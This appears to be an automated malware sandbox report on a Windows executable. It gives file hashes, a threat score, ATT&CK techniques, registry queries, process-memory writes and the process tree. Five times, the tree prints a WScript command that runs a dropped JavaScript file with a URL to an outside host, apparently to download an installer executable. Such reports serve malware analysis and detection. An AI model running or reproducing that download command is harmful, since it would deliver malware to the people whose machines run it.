88571c45f071ee59fd5f5ecae151c808f4b9ad8963a74c29adfc33e3ee0e040c

General

Target

399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe
Size

184KB
MD5

399ec41864cae9ea9bd4867d07514caa
SHA1

5786591be6b1dc96696404fe3ffdc25c85578872
SHA256

88571c45f071ee59fd5f5ecae151c808f4b9ad8963a74c29adfc33e3ee0e040c
SHA512

5fbbb825d972f41315b4137952a15e7a8dfccbabc9ee413676ba047402f079da1ff8ebe6df45d4ad0d25ab2744c29e9e076e0433999c0a052e6587c819b858f5
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30r:/7BSH8zUB+nGESaaRvoB7FJNndn3r

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
12	3820	WScript.exe
19	4540	WScript.exe
22	2816	WScript.exe
37	3404	WScript.exe
39	3740	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
228	4004	WerFault.exe	80

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4004 wrote to memory of 3820	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	81
PID 4004 wrote to memory of 3820	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	81
PID 4004 wrote to memory of 3820	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	81
PID 4004 wrote to memory of 4540	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	88
PID 4004 wrote to memory of 4540	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	88
PID 4004 wrote to memory of 4540	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	88
PID 4004 wrote to memory of 2816	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	89
PID 4004 wrote to memory of 2816	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	89
PID 4004 wrote to memory of 2816	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	89
PID 4004 wrote to memory of 3404	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	93
PID 4004 wrote to memory of 3404	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	93
PID 4004 wrote to memory of 3404	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	93
PID 4004 wrote to memory of 3740	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	94
PID 4004 wrote to memory of 3740	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	94
PID 4004 wrote to memory of 3740	4004	399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\399ec41864cae9ea9bd4867d07514caa_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4004
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=enqpdyYgVB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3820
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=enqpdyYgVB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:4540
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=enqpdyYgVB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2816
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=enqpdyYgVB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3404
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js" http://www.djapp.info/?domain=enqpdyYgVB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf3CDA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3740
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 1448
  2⤵
  - Program crash
  PID:228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4004 -ip 4004
1⤵
PID:3460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3CDA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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